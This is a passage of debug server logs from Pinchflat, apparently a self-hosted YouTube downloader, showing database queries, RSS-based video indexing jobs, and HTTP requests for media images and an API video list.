s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:01:21.885 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 20:01:21.927 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 20:01:21.927 [debug] QUERY OK source="media_items" db=0.2ms idle=42.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 20:01:21.930 [debug] QUERY OK source="media_items" db=2.0ms idle=43.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:01:21.931 [debug] QUERY OK source="tasks" db=0.0ms idle=45.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [773, 1, ~U[2026-07-24 20:01:21Z], ~U[2026-07-24 20:01:21Z]] 20:01:21.931 [info] {"args":{"id":1},"id":770,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":46977,"event":"job:stop","queue_time":633298,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:01:21.931 [debug] QUERY OK source="tasks" db=0.2ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:01:27.612 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:30.334 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 20:01:30.334 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 20:01:30.334 [debug] QUERY OK source="media_items" db=0.2ms idle=941.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 20:01:30.361 [info] Sent 200 in 27ms 20:01:36.904 [info] {"args":{"id":3},"id":771,"meta":{},"system_time":1784923296904087924,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:01:36.904 [debug] QUERY OK source="sources" db=0.0ms idle=1506.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:36.904 [debug] QUERY OK source="settings" db=0.1ms idle=1007.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:01:36.904 [debug] QUERY OK source="tasks" db=0.3ms idle=1506.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:01:36.904 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:01:36.905 [debug] QUERY OK source="sources" db=0.1ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:36.905 [debug] QUERY OK source="settings" db=0.0ms queue=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:01:36.905 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 20:01:36.930 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 20:01:36.930 [debug] QUERY OK source="media_items" db=0.2ms idle=25.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 20:01:36.932 [debug] QUERY OK source="media_items" db=1.8ms idle=26.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 20:01:36.933 [debug] QUERY OK source="tasks" db=0.0ms idle=28.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [774, 3, ~U[2026-07-24 20:01:36Z], ~U[2026-07-24 20:01:36Z]] 20:01:36.933 [info] {"args":{"id":3},"id":771,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":29581,"event":"job:stop","queue_time":652513,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:01:36.934 [debug] QUERY OK source="tasks" db=0.2ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:01:57.613 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.948 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:02:25.535 [info] GET /api/v1/videos 20:02:25.535 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 20:02:25.558 [debug] QUERY OK source="media_items" db=23.1ms idle=1129.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 20:02:25.612 [info] Sent 200 in 77ms 20:02:26.176 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 20:02:26.177 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 20:02:26.177 [debug] QUERY OK source="media_items" db=0.1ms idle=1771.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 20:02:26.198 [info] Sent 200 in 21ms 20:02:27.614 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:53.282 [info] GET /api/v1/videos 20:02:53.282 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 20:02:53.306 [debug] QUERY OK source="media_items" db=23.2ms idle=1877.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 20:02:53.369 [info] Sent 200 in 86ms 20:02:53.941 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 20:02:53.941 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 20:02:53.942 [debug] QUERY OK source="media_items" db=0.1ms idle=1536.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 20:02:53.963 [info] Sent 200 in 21ms 20:02:57.615 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.948 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:03:27.616 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:57.617 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.950 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:04:27.618 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:57.619 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.951 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:05:27.620 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:57.621 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.952 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:06:27.622 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:57.623 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.953 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:07:27.624 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:57.625 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.954 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:08:27.626 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:57.627 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.955 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:09:27.628 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:57.629 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.956 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:10:27.630 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:50.288 [info] GET / 20:10:50.288 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:10:50.288 [debug] QUERY OK source="settings" db=0.1ms idle=877.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:50.289 [debug] QUERY OK source="media_profiles" db=0.0ms idle=877.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:10:50.289 [debug] QUERY OK source="sources" db=0.0ms idle=877.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:10:50.294 [debug] QUERY OK source="media_items" db=5.6ms idle=878.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:10:50.295 [debug] QUERY OK source="media_items" db=0.5ms idle=812.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:10:50.295 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:50.295 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:50.296 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:50.297 [debug] QUERY OK source="media_items" db=0.3ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:10:50.297 [debug] QUERY OK source="media_items" db=0.6ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:10:50.298 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 20:10:50.302 [debug] QUERY OK source="media_items" db=3.5ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:10:50.305 [debug] QUERY OK source="media_items" db=3.6ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:10:50.306 [debug] QUERY OK source="tasks" db=0.1ms idle=8.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:10:50.306 [info] Sent 200 in 17ms 20:10:51.231 [info] CONNECTED TO Phoenix.LiveView.Socket in 13µs Transport: 